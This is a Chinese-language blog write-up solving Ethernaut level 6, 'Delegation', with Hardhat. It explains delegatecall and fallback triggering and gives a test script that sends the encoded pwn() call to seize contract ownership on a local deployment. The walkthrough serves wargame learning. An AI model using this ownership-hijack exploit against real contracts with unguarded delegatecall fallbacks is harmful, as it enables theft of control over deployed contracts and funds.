{"content":{"title":"用Hardhat闯关Ethernaut题6 -delegation","body":"# Delegation合约\r\n## 任务：获取Delegation合约的所有权。\r\n\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\nimport \"hardhat/console.sol\";\r\n\r\ncontract Delegate {\r\n    address public owner;\r\n\r\n    constructor(address _owner) public {\r\n        owner = _owner;\r\n    }\r\n\r\n    function pwn() public {\r\n        owner = msg.sender;\r\n    }\r\n}\r\n\r\ncontract Delegation {\r\n    address public owner;\r\n    Delegate delegate;\r\n\r\n    constructor(address _delegateAddress) public {\r\n        delegate = Delegate(_delegateAddress);\r\n        owner = msg.sender;\r\n    }\r\n\r\n    fallback() external {\r\n        (bool result, ) = address(delegate).delegatecall(msg.data);\r\n        if (result) {\r\n            console.log(result);\r\n            this;\r\n        }\r\n    }\r\n}\r\n```\r\n这题主要是理解`delegatecall`和`call`的区别：https://github.com/AmazingAng/WTFSolidity/tree/main/23_Delegatecall ，也就是说此题要是更改Delegation的owner，需要调用Delegate合约的`pwn`函数，也就是触发Delegation合约的`fallback `，fallback的触发条件：\r\n\r\n```\r\n触发fallback() 还是 receive()?\r\n           接收ETH\r\n              |\r\n         msg.data是空？\r\n            /  \\\r\n          是    否\r\n          /      \\\r\nreceive()存在?   fallback()\r\n        / \\\r\n       是  否\r\n      /     \\\r\nreceive()   fallback()\r\n```\r\n也就是说发送一笔交易 data不为空就行。\r\n\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\nconst { parseEther } = require(\"ethers/lib/utils\");\r\ndescribe(\"test\", function () {\r\n    var Delegation;\r\n    var Delegate;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const DelegateInstance = await ethers.getContractFactory(\"Delegate\");\r\n        Delegate = await DelegateInstance.deploy(users[0].address);\r\n\r\n        const DelegationInstance = await ethers.getContractFactory(\"Delegation\");\r\n        Delegation = await DelegationInstance.deploy(Delegate.address);\r\n    });\r\n    it(\"hack test\", async function () {\r\n        console.log(await Delegation.owner());\r\n\r\n        const abi = [\"function pwn() external\"];\r\n        const interface = new ethers.utils.Interface(abi);\r\n\r\n        const callData = interface.encodeFunctionData(`pwn`, []);\r\n        const res = await users[0].sendTransaction({\r\n            to: Delegation.address,\r\n            data: callData,\r\n        });\r\n        await res.wait();\r\n        console.log(await Delegation.owner());\r\n    });\r\n});\r\n\r\n```\r\n\r\n## 运行结果：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/jKlZ4lMA632175165398b.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmP95JprHq1PWQzvNzSBjNdvkkRNw9eus9ufMQ2HYE1Pwq","timestamp":1668564918,"version":1}